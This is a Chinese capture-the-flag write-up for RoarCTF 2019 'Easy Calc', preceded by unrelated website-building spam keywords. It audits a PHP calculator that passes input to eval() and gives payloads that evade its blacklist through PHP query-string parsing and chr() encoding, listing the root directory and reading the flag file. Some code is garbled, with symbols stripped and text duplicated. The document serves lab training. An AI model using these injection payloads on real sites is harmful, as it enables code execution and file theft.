成都做网站的公司,建设刷会员网站,白酒公司网站的建设,app开发网站建设哪家好题目 进入页面是一个计算器的页面 随便试了一下 查看源代码看看有什么有用的信息 访问一下这个calc.php
进行代码审计 ?php
error_reporting(0);
if(!isset($_GET[num])){show_source(__FILE__);
}else{$str $_GET[num];$blacklist [ , \t, \r, \n,\, , , \[, \]…题目 进入页面是一个计算器的页面 随便试了一下 查看源代码看看有什么有用的信息 访问一下这个calc.php
进行代码审计 ?php
error_reporting(0);
if(!isset($_GET[num])){show_source(__FILE__);
}else{$str $_GET[num];$blacklist [ , \t, \r, \n,\, , , \[, \],\$,\\,\^];//黑名单传入参数numeval()函数进行代码执行会对输入的字符进行拦截根据源代码中的提示可知有waf对输入参数进行了过滤foreach ($blacklist as $blackitem) {if (preg_match(/ . $blackitem . /m, $str)) {die(what are you want to do?);}}eval(echo .$str.;);
}
?
这里利用到了php的字符串解析特性还有两个函数scandir()和var_dump()函数
由上述代码审计可知拦截了“/”可以尝试使用chr来绕过黑名单
这里chr()是1-255的整数数字对应的是ascii值chr(47)等价于“/”
构造payload
/calc.php?%20numvar_dump(scandir(chr(47)))
可得
知道了文件名为f1agg
构造payload
/calc.php?%20numvar_dump(include(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
得到flag 总结
1.php的字符串解析特性 我们知道PHP将查询字符串在URL或正文中转换为内部GET或的关联数组_POST。例如/?foobar变成Array([foo] “bar”)。值得注意的是查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如/?%20news[id%0042会转换为Array([news_id] 42) 2.scandir()函数 3.var_dump()函数 参考文章链接
[复现] [RoarCTF 2019]Easy Calc-腾讯云开发者社区-腾讯云